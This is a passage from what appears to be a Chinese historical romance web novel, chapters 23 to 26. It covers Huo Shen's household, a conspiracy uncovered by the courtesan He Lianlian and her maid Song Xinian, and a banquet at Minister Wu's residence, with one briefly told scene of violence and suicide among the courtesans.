霍慎白了他一眼说:“你都好意思找他打秋风了,还要什么脸面。”
霍悟说:“我是无所谓,就是连累了四哥你也一起没了脸,实在是抱歉。”
霍慎说:“其实他说得没错,我当初的确是为利舍妻,你今天也真的为名失了担当。不必生气,我会为你尽力在长辈面前遮掩此事。但小五我们有错就要认!”
霍悟很是惊讶,因为他已经很久没有听到霍慎叫他‘小五’了。
马车在霍府后门停下,霍悟突然问:“四哥,你后悔过吗?”
霍慎只是淡淡一笑,说:“回家吧!”
23. 第 23 章
霍慎和霍悟分别后,再次回到自己的卧房,霍慎坐在圆桌前发呆,阿无端着托盘进入房内霍慎都未曾察觉。
阿无开口说:“公子,我刚从厨房端了碗热粥,带了你最喜欢的几样小菜,你赶快吃吧。”
霍慎摇头说:“我不饿,时辰不早了,你下去休息吧。”
阿无说:“公子,多少吃点,这些日子你看着消瘦了许多。你刚还吩咐大福要记得给五公子喝醒酒汤,那你自己已经一天都未进食了,你知道吗!本就不爱吃早饭,你这样身体会扛不住的。都怪我中午看你睡熟了就没忍心叫醒你。”说完阿无居然哭了起来。
霍慎被他吵得头疼,说:“行了,我吃就是了,你都多大了,还哭鼻子,若是让宋诺知道他都会笑话你。”
阿无止住哭泣,用袖子粗暴地擦了擦眼泪,他就站在霍慎面前盯着他喝粥。
霍慎瞧见他站着不动,便说:“你先下去吧,碗碟明日再收也不迟。”
阿无说:“我不是要收碗碟,我就是要亲眼瞧着公子全部吃下才能安心,”
霍慎抬头看他:“你如今倒是长进了,都敢管起我了?”
阿无立马又哭了起来,说:“公子现在这样不是折磨你自己而是在折磨我,我只不过想图个安心也不行吗?”
霍慎听了这话,重复道:“折磨吗?那安了心之后又该如何?”
阿无说:“心安了,自然是想如何就如何!”
霍慎又不确定地问:“真能想如何就如何?”
阿无被他问蒙了,但还是说:“为何不能?我娘说了,只要我不作奸犯科,想做什么都行。”
霍慎说:“真能如此简单吗?”
阿无说:“只要自己担得起后果,也没什么难的,自在活着罢了。”
霍慎陷入沉默,心里想:“后果是嘛!”他停止喝粥陷入思考。
阿无见他如此,以为他没听懂就贴心地举了例子,说道:“就好比说。公子让我去办事,有时会给花费,余下的我会自己留着不上交,有时被你发现了,你会斥责我几句,我下次还是会如此呀。因为我知道公子大度,不会真跟我计较。”
霍慎继续喝粥与他闲聊,说:“你倒是算得准。”
阿无说:“做小厮都这样,只要我自己不把公子的责骂放在心上,我就能一年攒下不少钱,睡觉都能笑醒,这便是承担了我能承担的后果,给我带来的好处呀!”
霍慎茅塞顿开地说道:“你说得对,利大于弊就值得去做。”
阿无说:“对,我就是这个意思,还是公子聪明。还有最后一口粥,你吃完了我也能休息了。”阿无时刻盯着霍慎的碗,不走心地拍着马屁。
霍慎吃完最后一口粥,阿无端起碗就想走,他发现霍慎碟中还有一个小花卷,他犹豫几秒就把花卷塞到自己嘴里,然后单手夹着托盘就走,还自以为潇洒的单手带起了房门。
霍慎被他的一系列动作逗笑了,坐在椅子上等他再回来,过一会没想到进来的是宋诺,他那小小的身板居然还提了半桶热水进来,累得气喘吁吁。
霍慎起身接过水桶,开口问:“阿无呢,这么晚了你怎么还不睡?”
宋诺站在那里低着头小声说:“是我自己有事要求公子,所以我就替了阿无哥的活计。”
霍慎说:“你忘我前两天我教了你什么吗?”
宋诺听出了霍慎语气中的严厉,说:“公子教的我都记得。”
霍慎说:“我看未必,我教你‘君子坦荡荡’你现在哪有半点坦荡的样子!还好意思说你都记得。”
宋诺抬头看着霍慎,说:“我后天想要出门一趟行吗?”
霍慎说:“不是才出门买了新衣,对了你买的新衣怎么也不见你穿,还穿这么薄不怕冷吗?”
宋诺说:“那天没买到合适的,正巧碰到我娘了,她说给我做,我们就自己买了布料和棉花让她们带回去做,后天就是约定的取衣服时间,所以我想出去一趟。”
霍慎疑惑:“怎么这么巧,这才几天时间这么快就能做好吗?”
宋诺说:“一起给我做还是很快的吧,而且我现在的衣服上也不要绣样式,花不了多久的,这些都是我娘说的。”
霍慎:“你来找我只怕不是光为了取衣服这么简单吧!”
宋诺鼓足勇气说:“我姑姑说,她之前留了一笔钱在你这,再过不久我娘的生辰要到了,我想买礼物给她,可我钱不够。”
霍慎说:“你想借钱?”
宋诺说:“不是借,是拿回一点,那个钱本就是我姑姑的!”宋诺理直气壮地说。
霍慎说:“你也知道,这钱是你姑姑的并不是你的,你凭什么要?”
宋诺说:“就凭她是我姑姑,就凭我也姓宋!宋诺越说越硬气。”
霍慎说:“你姑姑当初说了,这钱是她的私产,所以你没有权利要。”
宋诺说:“姑姑说了让我记得问你要回来的。”宋诺越说越气,一双眼睛看着霍慎
霍慎说:“她说了是叫你现在要?”
宋诺泄气地说:“她让我长大再问你要。”
霍慎说:“那就长大再来要吧。”霍慎慢悠悠地洗漱着。
宋诺不服气地说:“我现在已经长大了!”
霍慎放下擦脸地布巾,走到宋诺面前,低头看着他,说:“你确定?”霍慎脸上带着笑,居高临下地俯瞰刚到他腰部的宋诺。
宋诺说:“你不愿意给?”
霍慎斩钉截铁地说:“是,你说对了,不愿意。”
宋诺说:“你想独吞?”
霍慎转身,不去理他,坐到床边。
宋诺看见霍慎转身,终于忍不住哭了出来。指着霍慎说:“你果然想独吞!”宋诺转身夺门而出,他看见站在门外等他的阿无,一下就扑进他的怀里,号啕大哭。
这也是宋诺进入霍家后第一次哭,今晚的他才是从前的他。
霍慎看他这个样子说:“这才对嘛,哈哈哈!”
阿无单手抱着哭得伤心的宋诺,还不忘把霍慎的房门关上。看着笑得开怀的霍慎,说:“公子也早些休息吧,我带他先回去了。”
霍慎今晚在阿无的无意点拨之后,心境发生了巨大的
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变化,今夜他难得睡个好觉。
晨光照进霍慎的卧房,阿无带着洗漱用具进来,霍慎问:“那小东西,昨晚怎样?”
阿无说:“哭着哭着就睡着了,没事。”
霍慎说:“祖母的生辰也快到了,过几日等我休沐,你陪我去挑礼物给她吧。”
阿无说:“往年公子不都是送些字画什么的嘛,今年为何要特意挑礼物?”
霍慎皱眉说:“不行吗?”
阿无撇了撇嘴,没有再说话。
霍慎昨晚刚带霍悟出了乐章台没一会儿,乐章台就有事发生,所以间接帮了霍慎他们。
昨晚杜妈妈看好的一个姑娘,又一次的抢走了隔壁姑娘的恩客,说来也巧那姑娘就是一楼三号房甲室的那个。
这姑娘不知是为了报复之前姑娘的磋磨还是想快速出头,她总抢之前主子的恩客。今晚也是,她抢了人还在门口故意讥讽,这才为自己招来了祸事。
她说:“人活着最重要的是认清现实,可是偏偏有的人就是看不清呀。”说着还有意往隔壁瞟,知道她们有过节的都知道她意有所指。
那四号甲本就是个火爆的疯癫性子,话音未落她就冲到隔壁当众用簪子把她的脸划了,又捅了她一下,抓着她的头发在她耳边说:“你说得没错,人要认清现实,但是我觉得最重要的就是心~要~狠~而你这点不如我,永远也不如我!”
三号甲说:“你疯了,真就是个疯子,我脸,我的脸”
四号甲说:“你也伺候了我几个月,我什么性子,你会不知?哈哈哈哈!你始终还是斗不过我,最后还是我赢了。”说完就用沾满了她鲜血的簪子,毫不犹豫地扎进了自己的侧颈自戕而死。
她的这一举动,引起了骚动,但也仅限于一楼,再往上的所有人都只是看看,甚至有嫌弃她把乐章台弄脏了的男人,败了他的兴致。
杜妈妈也只是传话,叫人尽快打扫,让人把尸体抬了出去,顺便把受伤的官妓直接带去郊外乐营。
今晚是宋昔年替贺怜怜守夜,她也是第一次如此直观地看到上位者对下位者的轻视,直面了人性的冷漠和阴暗。这一晚也永远成了她的‘一杯茶’使她清醒一生。
第二日,宋昔年帮着贺怜怜送走房里的男人后,看着贺怜怜清丽的面容,问道:“在乐章台最重要的是脸吗?”
贺怜怜也知道了昨晚的事,透过镜子看着她说:“你只答对了一半,你是觉得三号甲可怜还是四号甲可怜?”贺怜怜反问她。
宋昔年摇头说:“我自己都自顾不暇,有什么权利去管别人。我只是想不通,为何四号要划了三号的脸而不是直接杀了她,反正对于四号来说,她的结局已然是死了,为何不找个人黄泉路上做个伴?三号去了乐营就一定比死还难受?”
贺怜怜说:“四号赌的是心,不是命!我们这种人命不值钱!”贺怜怜抬手抚了抚自己的脸。
宋昔年问:“那什么才重要值钱?”
贺怜怜说:“自然是心”
宋昔年不懂,贺怜怜却不让她再问,说道:“你的时间还长,不急于一时!”
24. 第 24 章
贺怜怜刚想睡个回笼觉,阿昙推门进入房间,宋昔年看见她让开身位,才知道她身后跟了人,来的居然是杜妈妈身边的悯婶。
宋昔年赶忙走到床前撩开床幔,说道:“怜姐姐,快起来,悯婶来了。”
贺怜怜翻身问:“谁?”
宋昔年:“悯婶!”
贺怜怜坐在床沿打哈欠,说:“悯婶多日不到我这里来了,今日是为何而来呀?”
阿悯说:“兵部尚书吴大人,刚派人来说明日他家老父亲过寿,想请乐章台的姑娘们去献舞助兴,台主已经收下请金了,由你领头去吴府表演。”
贺怜怜懒懒地说:“此次就麻烦妈妈另择人选吧,我这几日身上乏得很,我就不去凑这个热闹了,也算是给其他人机会吧。”
阿悯说:“这怕是不成,姑娘是他们指明要去的,其他的不过是陪衬。”
贺怜怜说:“悯婶说笑了,你这话要是被秦珍珍听了去,她恐怕又要不乐意了,哈哈哈!”
悯婶说:“台主让我转告诉你,你想打听的事,或许吴家会知道一二,能不能问出什么就看你自己的本事了,去不去你自己掂量吧。腰牌我留给你,你自己看着办吧。”
贺怜怜快步上前,握住阿悯的手问:“消息可靠吗?”
阿悯说:“你该知道台主从不撒谎,至于可不可靠,你就要问真正知道消息的人了。”
阿悯转身走了,贺怜怜在房间里紧张地踱步,嘴里还一直说着什么,宋昔年听不清楚,正想上前,阿昙先一步拉她出了房间。
阿昙说:“年姐姐,不必担心,怜姐姐没事的,她若有什么需要自然会叫我们的,我们在门口守着便好。”
每个人都有秘密,宋昔年也不好多问,她只能和阿昙安静地守在房门口。
过了许久,贺怜怜叫她们进房,这时的她已经穿戴整齐,在妆奁前选着发簪。
贺怜怜说:“你们明日陪我一起去吴府,阿昙你现在去问问这次同去的还有谁?卿云你陪我到楼上去一趟。”
宋昔年跟着贺怜怜一起上楼,从她们踏上三楼的台阶开始,就已经引起了围观,若她们回头看就会发现围观的人们神态各异十分精彩。
贺怜怜刚上三楼,房门就已经打开,仿佛算准了她会来。贺怜怜快步进屋,宋昔年紧随其后,她还向为她们开门的婶子点了点头表示感谢。
杜妈妈依旧坐在大窗口喝茶,只是没有再望向皇宫的方向,她的对面还放了一个茶杯,一看就知道是有人用过的,里头剩余的茶水已经凉透了。
杜妈妈说:“早知道你回来,没想到这么快,我都还没来得及给你换个茶杯。”
贺怜怜说:“人走了?您为什么不早点知会我一声?”
杜妈妈一边整理喝过的茶杯,一边说:“茶都凉了,人自然是走了。为何要早让你知道,你觉得你够格了吗?”
杜妈妈说:“小宋你也坐吧,你想喝什么茶,今天我心情不错,让你们也尝尝我泡茶的手艺!”
宋昔年坐下说:“我不懂茶的,随着你们喝就好。”
杜妈妈:“你只管说,你喜欢什么茶,你能说出口的,我应该都有,我们人生的选择权虽然少,但选择喝什么茶的权利还是应该要有的。”
宋昔年说:“我以前常喝的是竹叶青。”
杜妈妈说:“峨眉竹叶青呀,挺会选的呀,阿悯把我的竹叶青拿来,我给小宋泡一杯。”
贺怜怜说:“那也给我来一杯吧,让我也尝尝你们这些上等人喝的茶都是什么滋味。”
杜妈妈说:“你还是这么没定性。”
贺怜怜说:“我是下等出身,我们下等人向来都是什么好就要什么的,和你们可比不了!
宋昔年说:“什么上等下等的,如今我还要靠姐姐你照拂呢!”宋昔年在中间打着圆场。
杜妈妈说:“你要真有气,明日吴家你就别去,我帮你推了就是。这个月的分银,我会把吴家的份例从你之前的银子里面扣。”
贺怜怜急了,说道:“凭何要扣我的分银,就算我不去也是找人去,为何还扣我的银子?”
杜妈妈说:“你是最近过得太舒坦了,忘了乐章台的规矩了?乐章台怎么会为你赔钱,自然是要你自己出的。”
贺怜怜说:“我累死累活到了今天的位子,还是没有选择权,真是可笑!”
杜妈妈说:“你有的啊,你如今是花魁可以选择去不去,不过是赔点银子罢了。如果换了别人,可就是赔命了,你还不知足!”
宋昔年不敢随便插话,只是安静听着,但也明白了不少事。
杜妈妈把泡好的竹叶青倒在宋昔年面前的杯子里,说道:“尝尝看吧。”
贺怜怜喝了一口竹叶青,叹气说道:“哎。我也不是真有气,我只是看到你们就会想起从前的自己,不甘心而已。”
宋昔年:“不甘心?姐姐你这么豁达通透的有何不甘心,我有时候都羡慕你能如此放得下。”
贺怜怜说:“我放得下是因为我没有值得拿起的东西。”
杜妈妈:“行了,我难得心情好,你非要破坏气氛。人与人本来就不同,你不甘心与我们何干系啊!”
贺怜怜说:“你们喝的茶就是不一样,”茶气清香馥郁,茶味鲜嫩醇爽,不像我爱喝的苦茶碎,除了苦什么都没。好比你们让我学着定心静气。我再怎么学都是皮毛,始终会不得其精髓,但你们却信手拈来。因为这是你们一直骨子里自带的,是我无法企及的。
杜妈妈说:“行了,别装了,你不累我都替你累!”
贺怜怜说:“姜还是老的辣,这么快就被妈妈识破了,没意思!妈妈你就告诉我吧,免得我自己瞎折腾了。”贺怜怜起身和宋昔年换了位子,自己坐在杜妈妈的侧边。
宋昔年被她挤走,一脸不知所措。她看向贺怜怜说:“姐姐,你....”
贺怜怜边挤她边说:“我什么我,你再往那边去点,挤死了”贺怜怜坐下,身体一直把宋昔年往旁边挤。
宋昔年说
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:“难得看到姐姐这副模样,你到底隐藏了多少啊”宋昔年含笑低头,不敢笑得太放肆。
贺怜怜突然又拉着杜妈妈的手说:“妈妈您知道,这件事一直是我的心病,我已经病入膏肓了,你就行行好救救我吧。”
杜妈妈皱眉:“我知道的都已经让阿悯转告你了,她没和你说吗?”
贺怜怜说:“妈妈,您既然知道这件事和吴家有关,就一定知道更多重要的,你就和我直言吧。”
杜妈妈不悦,严肃地说:“有些事现在已经无法改变,你为何还如此执着呢。我们这种身份
就算让你知道了,你又想如何,又能如何?不过是蚍蜉撼树罢了,何必浪费时间呢。”
贺怜怜说:“妈妈的意思是,这件事真的牵连甚广?”
杜妈妈无奈点头:“就算之前不是,现在也是了。罢了,你既执着于对错,我便告诉你,也好让你彻底死心!”
宋昔年准备起身回避,却被贺怜怜一把拉住,她只能又坐回原位,陪着贺怜怜一起听这个她期盼已久的答案。
杜妈妈说:“你父亲的事,当年若真是被陷害的,那最清楚整个事情始末的应该就是当时主审。”
贺怜怜如梦初醒,激动地说:“对啊,当年我父亲锒铛入狱,没过几日就有人来报说,我父亲已被定罪处死,人头落地。如今看来必然是串联勾结,急需一个死人顶罪。”
宋昔年忍不住问:“可这又和吴家有什么关系?”
杜妈妈说:“吴大人如今掌管兵部,现在没了小宋的爹,他就是皇上最看重的人,他请客摆席,想巴结他的人纷至沓来。”
贺怜怜说:“您是说那个主审也在其中,怎么可能才三年,一个江南地方官能高升至京城?”贺怜怜难以置信,但看杜妈妈的表情又不像开玩笑。
杜妈妈说:“你不用查了,没结果的。”
宋昔年说:“三年前东境干旱,赈灾粮食迟迟不到,是不是也和此时有关?”
贺怜怜猛然抬头看向宋昔年,最后二人都看向杜妈妈,杜妈妈只是喝茶看向别处,瞬间一切都清晰明了了。
当年东境干旱饥荒,上书请奏拨款赈灾,却被有心之人钻了空子贪污了银子,导致没钱就近买粮赈灾。宋齐才逼不得已挪用军粮赈灾,后又上书表明东境赈灾款未到,自己先行军粮赈灾,请求再拨军需。此事被捅破,他们急需替罪羊就找了出身底层的贺父,一个没背景但官职位置合理的人,先降罪处死再替罪。因及时补齐赈灾银尚未东窗事发于御前,但如此一来东境上书再要军需的请奏理由就不能存在了,所以有人设计篡改了加拨军需的理由,使得宋家获罪流放落籍为奴。因此所有人联合起来,各自得到了自己想要的,皆大欢喜,平安无事!
在远北将军的奏疏到达御前之前,提前知晓请奏内容的人,必定不是一般人。贺怜怜想要为父翻案正名就成了天方夜谭。
宋昔年内心感叹:“她和贺怜怜还真是上天注定的缘分,那个幕后黑手究竟是谁?”
25. 第 25 章
霍家后院,霍慎晚饭后在书房练字,他在想白天在翰林院听到的消息。
同僚甲说:“明日吴大人父亲过寿,吴大人下帖请同僚同庆,听说还特地请了乐章台的官妓去献舞呢。”
同僚乙说:“哪个吴大人?”
同僚丙说:“自然是兵部尚书吴大人,除了他有谁会花重金请官妓献舞啊,听说其中带头献舞的是花魁贺怜怜呢!”
同僚甲说:“你收到请帖了没?”
同僚丙说:“没有,不过我大舅哥是兵部的,他有请帖。”
同僚乙说:“我们官职低微又不是兵部直属,是没机会去了。”
同僚甲说:“不过,吴大人也是胆大,皇上这几日身体抱恙他还敢操办喜事,就不怕触怒龙颜?”
同僚乙说:“怕什么他如今是御前红人,皇上只是抱恙又不是宾天,哪有不让人过寿的道理。”
同僚丙说:“如此,少不了想要巴结的人,那吴家明日必定人满为患。”
同僚甲说:“能巴结得上就算有本事了,我想巴结都没有门路呢!”
霍慎静静地坐在位子上忙碌,却把他们的对话听入耳中,记在心里。
霍慎心思回转,拿起桌角的一本书,出了书房的门。
阿无安排宋诺睡下后,刚好看见霍慎往外走,问道:“公子可是要休息了?我这就去备水给你洗漱,公子先回卧房等着吧。”
霍慎说:“不是,我要先去大哥院子一趟,回来再说。”阿无急忙跟在霍慎身后。
霍慎到了霍恒的院子,霍恒正在与蒋晴说话,霍慎向大嫂行礼,蒋晴回礼之后给霍慎倒了杯茶。
蒋晴识趣地说:“既然四弟来了,你们兄弟聊吧,我去陪孩子了。”
霍恒打趣霍慎说道:“说吧,大晚上跑来打扰我们夫妻夜话,有什么十万火急的事,别说你是为了讨论文学!”
霍慎说:“大哥怎知不是?”霍慎尴尬地摸了摸鼻子。
霍恒说:“你可是探花郎,以你的学识需要吗?再说你会因为这个晚上找我?”
霍慎被霍恒戳穿也不装了,直接问霍恒:“今日祖父可有来找过大哥?”
霍恒说:“找了啊,怎么了?”
霍慎瞬间噎住,不知如何开口
霍恒瞧着他的样子,觉得有趣极了,说道:“哈哈哈,你也有今天,怪不得你平时总是爱骄矜着和人说话,这样真是舒坦。”
霍慎心虚地反驳说:“我哪有?大哥就别戏弄我了!”
霍恒说:“你不是一向不喜欢这些迎来送往交际应酬的嘛,今天是听到了什么风声?”
霍慎说:“大哥知道我说的是什么事,大哥也听说了?”
霍恒:“今日书院里有学生要告假,我问了缘由才知道是要随长辈去吴尚书家贺寿,回来之后祖父又找我,让我明日陪他一同去吴家。勤之难道也想去凑热闹?”
霍慎说:“如今我也在官场,吴大人如今正当红总要多接触的。”
霍恒说:“是这个道理,那你明天和我们一同去吧。”
霍慎说:“那我就先回去了。”
吴府今日热闹极了,吴大人几乎把京城有点地位的都送了帖子,因为自己如今正得势,所有几乎都来了。吴府大门敞开,迎接客人进门参观今年刚修的院子。
因为身份不同,乐章台的官妓只能从后门进府,她们每人都披着斗篷安静地跟在贺怜怜身后。即使是平时喜欢跟贺怜怜拌嘴呛声的秦珍珍也变得老实乖顺。因为她们每个人都清楚,在这种正式场合只有作为花魁的贺怜怜能有几分体面和话语权。
她们进入吴府被安排在离舞台最近的厢房里休整,被交代不许乱跑惊扰客人。她们这次出来献舞是代表乐章台,所以宋昔年也难得穿得好了些,布料是丝绸的,虽不是时下最新的款式,颜色也不如新的有光泽,但好歹是丝绸的,里头加了宋母给她做的棉夹袄,穿的比其他官妓都要暖和点。毕竟她们一群人中,只有贺怜怜披着一件皮毛大氅。
宋昔年问贺怜怜:“姑娘,献舞是在什么时候,我们要在这里待一整天吗?”
贺怜怜说:“通常都是开宴宾客落座时,我们上台跳到宴席结束,我们可以下台吃饭休息,晚上开宴再继续,宴会结束拿了赏钱再回乐章台。”
宋昔年说:“之前已经给了请金了,还有赏钱可以拿?”
阿昙说:“傻姐姐,赏钱顾名思义就是额外给的钱,这个钱是可以自己留的,一般官宦碍于情面都会给点,只是有的多有的少罢了。”
秦珍珍说:“你个小丫头,这么了解是不是也准备做官妓呀”秦珍珍调笑阿昙。
阿昙说:“秦姑娘就别拿我开玩笑了,我既无才貌又不懂情趣哪能如姑娘们一般,我只会端茶递水伺候人而已。”
秦珍珍说:“那你就帮我们去厨房问问,能不能先弄些糕点吃食来给我们先垫上垫,免得献舞时无力出了岔子。”
阿昙看了一眼贺怜怜,贺怜怜说:“去问问吧,带些银子去,若是厨房的婆子不肯,拿些钱打点换些吃食来也行。”
宋昔年说:“那我陪阿昙一起去吧,这么多人肯定不少吃食要拿,她一人怕是拿不动的。”
秦珍珍说:“你就别去了,你走了我们万一还有别的吩咐呢!怜姐姐,我们都没带伺候的人来,只你带了两个使唤的人,我们若是有事使唤她们你不介意吧?”秦珍珍阴阳怪气地问贺怜怜。
贺怜怜笑着站起身,走到秦珍珍的位置,亲自给她倒了杯茶说:“都是自家姐妹,出门在外是要互相帮助的,你若真有事你只管说话就是了。你们其他人也一样,出门在外不比家里,我只希望能顺顺当当拿钱回去,你们应该都懂我的意思。”贺怜怜拿出了花魁的威势,其他人不敢再挑衅。
宋昔年和阿昙一起出来,阿昙说:“年姐姐,你看这院子真大真气派,我从前也随姑娘去过别家,但都不如这位吴大人家气派。”
宋昔年说:“阿昙,
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这是在外面,我从前的身份你也知道,你还是叫我阿梦吧。”
阿昙牵着宋昔年说:“好,梦姐姐!”
她们到了厨房,宋昔年表明来意,那婆子果然不屑一顾满脸鄙夷,宋昔年让阿昙上前悄悄塞给那婆子一两银子,那婆子才脸色好些。
宋昔年说:“瞧着婶子您穿着不同于旁人,一定是这厨房的管事,若婶子怕随意拿了回头不好交代,那我们用银子买也是可以的,就是请婶子一定行个方便准备些吃食,不然我们回去也没法向姑娘们交差,今日毕竟是吴府的喜事,若是姑娘们表现得不好,吴府也会失了脸面的。”
那婆子听宋昔年这么说又看了看手里的银子,说道:“行吧,瞧你们小丫头也不容易,我就耽误一会儿给你们准备些吧。”
宋昔年说:“谢谢婶子了!”
不久两人就提着两个食盒回到厢房,饭菜摆上,大家多少都吃些垫一垫。
贺怜怜说:“阿梦,阿昙你们也坐下吃点吧,不吃的话,下顿饭怕是要到未时了。”
秦珍珍说:“就这么一点,还要再加人,你们也是怎么不多使些银子多拿些回来?”
宋昔年说:“姑娘们先吃吧,我娘给我带了些自己做的炒货,若是饿了,我也可以去厨房再用银子买,怎么也比姑娘们方便些。”
阿昙拿了个馒头吃着,说道:“人家都忙死了,就这些还是我们求了半天花了一两银子才换来的,不然你觉得这些官宦家的管事会理睬我们这种下等人的奴婢吗?有的吃姑娘就将就吃些得了,还想在这种地方挑刺呢!”
贺怜怜拿了一个馒头给宋昔年说:“吃吧,听我的没错。”又夹了些菜让她和阿昙分着吃,没再让她们坐下。
秦珍珍这才闭嘴吃饭,她的想法昭然若揭,只是大家都不想同她计较。
阿昙在收拾碗筷时,外面有吴府的婢女来通知说可以登台献舞了,宋昔年忙着帮姑娘们换衣服准备上台。
贺怜怜上台时,外面的宾客已经把酒言欢,男人们十分满意台上官妓们的表演,各家女眷们却对台上翩翩起舞的官妓嗤之以鼻。
一曲舞毕,台上的姑娘要换下一套衣服,宋昔年和阿昙在台下迎接。王靖宇和身边的父亲说,自己要去方便一下,他就带着长寿迅速离席了,等到贺怜怜再次上台,长寿才叫走宋昔年,宋昔年说:“阿昙我去去就回,你先在这帮我看一会。”
阿昙说:“姐姐放心去吧,我应付得来。”
他们悄悄往无人处去了,丝毫没有察觉还有人一直在关注他们的动向。霍慎在发现王靖宇离席的时候,就开始在寻找她的身影。
霍恒发现霍慎的异常,顺着他的目光果然找到了答案,在霍慎即将离席时一把拉住他。
霍恒说:“我就知道你别有目的,这是吴府你行事要注意分寸,不然不仅影响霍家更会连累她。”霍恒认真地看着霍慎。
霍慎说:“我自有分寸,大哥不必担心。”说完很快消失在人群里。
26. 第 26 章
宋昔年见到王靖宇先是眼神上下打量他,看着王靖宇还是平时那副郎当模样,终于放心不少。
王靖宇说:“这种眼神瞧着我做什么?可是为我担心了?我的确被我老子打了一顿,但到底是亲爹,他还是疼我的也没真下死手。”
宋昔年说:“你平日都是自己胡闹惯了没什么,但这次你带了逢恩,你爹肯定不会轻饶你,你肯定吃了不少苦头吧!”
王靖宇说:“真没事,我还打都成家常便饭了,不信你看,我好着呢!”王靖宇在宋昔年面前展开双臂转着圈。
宋昔年说:“逢恩今日没来?你可去看过他?他那性子容易钻牛角尖,你没事就多开导他吧。”
王靖宇说:“他呀,在家里读书,想参加明年的考核,正在备考史官呢。对了,螃蟹可有做酱,我的那份你留给我了吗?这几天被我爹关了禁闭,才没空去找你,做好了我就去拿。”
宋昔年说:“你还想着去乐章台,身上不疼了?”
王靖宇:“怕什么,我去乐章台是去找你的,又不是寻花问柳。我也是辛苦,左要顾着你,右要看着逢恩。你们啊,没一个让我省心的。”王靖宇委屈抱怨。
“哈哈哈,你若不想管了,把这可心的美人交给我可好?”文莹从远处小道上走来。
宋昔年惊喜地说道:“文莹!你怎么会在这里?”
文莹上前拉住她的手,说道:“我觉得前头宴席无聊出来转转,远远地瞧见这边有一对男女在说话,想着看看热闹,走近了一看是小侯爷,我想着瞧仔细了美人是谁,结果听见你的声音,我就过来了。”
王靖宇说:“你怎么还是改不了爱看热闹的毛病啊!”
文莹不理他,对宋昔年说:“卿云,你怎么样,我也找人悄悄打听了,可就是没有消息。”
宋昔年说:“你看我像不好的样子吗?”
文莹说:“那你如今在哪?”我之前求过父亲,让他帮你们一家赎买,但是我父亲说他人微言轻,有心无力。说着就默默低头流泪。
宋昔年抱住她安慰说:“没事的,我都明白的,如今我在乐章台挺好的。”
文莹说:“你说什么,你怎么能去那种地方呢?”文莹急地跺脚,轻轻打着宋昔年。
宋昔年说:“好啦,木已成舟,我就是给官妓们做婢女,而且我跟的还是花魁呢!”
文莹说:“你怎么能给一群贱籍官妓做婢女,那不就是人下人了,这以后该怎么办?”
宋昔年说:“哎哟,以后的事情,以后再说。”
文莹说:“那我能帮你做些什么吗?”
王靖宇说:“你一个未出阁的小丫头能做什么!她有我就够了,你就老实待着别添乱就行。”
文莹不乐意地说:“你瞧不起谁,什么叫添乱,就你有本事是嘛。你要真有本事,怎么会被你爹打还闹得满城皆知呢?”
王靖宇听了这话,气得差点吐血,说道:“关你屁事?管得这么宽,小心以后被人夫家嫌弃,做了没人要的弃妇!”此话一出,瞬间鸦雀无声。
宋昔年说:“行了,别吵了。我想起一个事情,需要元安出面帮忙呢!”
王靖宇说:“尽管说,保准帮你办成!”
宋昔年说:“白天那日找到我说,希望你将来能帮白家作保,助他家保住皇商的位子。”
王靖宇说:“白天?就是跟我有仇的那个?他凭什么?”
宋昔年说:“若你肯相助,好处会再约你细谈,而且他已经知道我的身份了,但我那天是第一次见他,我还戴着面纱,我实在不知是哪里出了纰漏。”
王靖宇皱眉说:“他威胁你了?”
宋昔年说:“其实也不算,我只是很好奇,他为何这么早就开始筹划未来,我有试探过他,他似乎很确定,他的筹划能万无一失,你不好奇他的消息是从哪得来的吗?区区商户,就算是御用的也不该如此。”
王靖宇说:“你的意思是....”他看向文莹,未好明说。
文莹说:“那小子找你,是为了找他,你可有向他讨要好处?”
王靖宇说:“对啊,你没狠狠宰他一笔?”王靖宇一脸期待地看着宋昔年。
宋昔年说:“他走的时候给了我五两金,说是当作定金,其余好处要和你见面了,大家坐下一起聊!”
王靖宇指了指自己,被气笑了,说道:“我就值五两金?”王靖宇气得原地转圈。
宋昔年说:“这不是重点,重点是他是如何....”
王靖宇袖子一甩,犯起了浑,说道:“这不是重点,什么是重点,我王靖宇在他一个小小商户眼里,就这么好被他拿捏?”
文莹说:“是有点掉价,堂堂皇亲却被区区皇商用五两金就吊着胃口,要求见上一面。听说你们男人,在乐章台一晚花销都是几十两,若是叫得上名号的官妓花魁,百两银都不一定能见上一面呢。如此说来,小侯爷你在白天那还不如一个普通官妓!”
宋昔年拽了拽文莹说:“你少在这拱火了,想看他闹翻天不成?”
王靖宇说:“他既然要找你,必定是要先找贺怜怜。他是花了多少钱进了花魁的房?”
宋昔年尴尬地说:“也没多少,你不必纠结这个”。
王靖宇说:“你只管告诉我,其他的你就别管了。你不告诉我,我也有的是法子查,你忍心看我着急?”
宋昔年低头说:“那日他和另一位富家公子博弈,最终以一千两白银拔得头筹,进了房与我说他要见你。”
王靖宇说:“好好好,他是觉得凭他的小聪明就能拿捏我忠静侯府吗?”
宋昔年说:“以大局为重才是紧要,不必计较这些小事的,他说了会与你详谈好处的。说明他只是以这个为饵,想诱你上钩而已,你别气了,若你不见他,他失了钱财,若你见他,你到时再报仇也不迟的。”
王靖宇说:“你如今自己失了身份,觉得脸面不要紧,你当我们忠静侯府的脸面是虚名不成?”王靖宇朝宋昔年大吼。
宋昔年愕然,王靖宇话一出口,就后悔了。
他急忙解释说:“卿云,我刚被那狗玩意,气糊涂了,我不是说你....,你也知道我家的身份地位,若是轻易被人冒犯,那皇家颜面何在?”
宋昔年说:“我知道,是我想浅薄
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了。”
文莹说:“惹你的是姓白的,你找他去就是,为何冲卿云发火?”
王靖宇说:“我是要找他清算的,到时候我去找你我们再一起合计,他不是要给好处吗?我就看看他给不给得起。时候不早了,这事我得找我爹说一声,我就先走了。”
宋昔年说:“时间是不早了,你同文莹一起吧。我们三分开走。”
王靖宇走到半路又折回来,他一把将宋昔年搂进怀里,说道:“你一定要坚持住,不要放弃!你要记住,我王元安永远是你宋卿云的后盾。”王靖宇摸了摸宋昔年的头转身就走了。
这一幕全部落入霍慎眼里,霍慎不知为何却笑了,是在笑他们还是在笑他自己,霍慎已经分不清楚,他现在只想当面问清楚。
宋昔年独自走在回正院的石板路上,她已经出来很久了。她走得很快,想快点回去,怕阿昙应付不来。行至拐角处,突然被一人拉住,向反方向行去。
宋昔年被吓一跳,但看见熟悉的脸庞她又松了口气,随即想要挣脱,但霍慎拉得非常紧,走得也很快,她被他拉着走得踉跄。
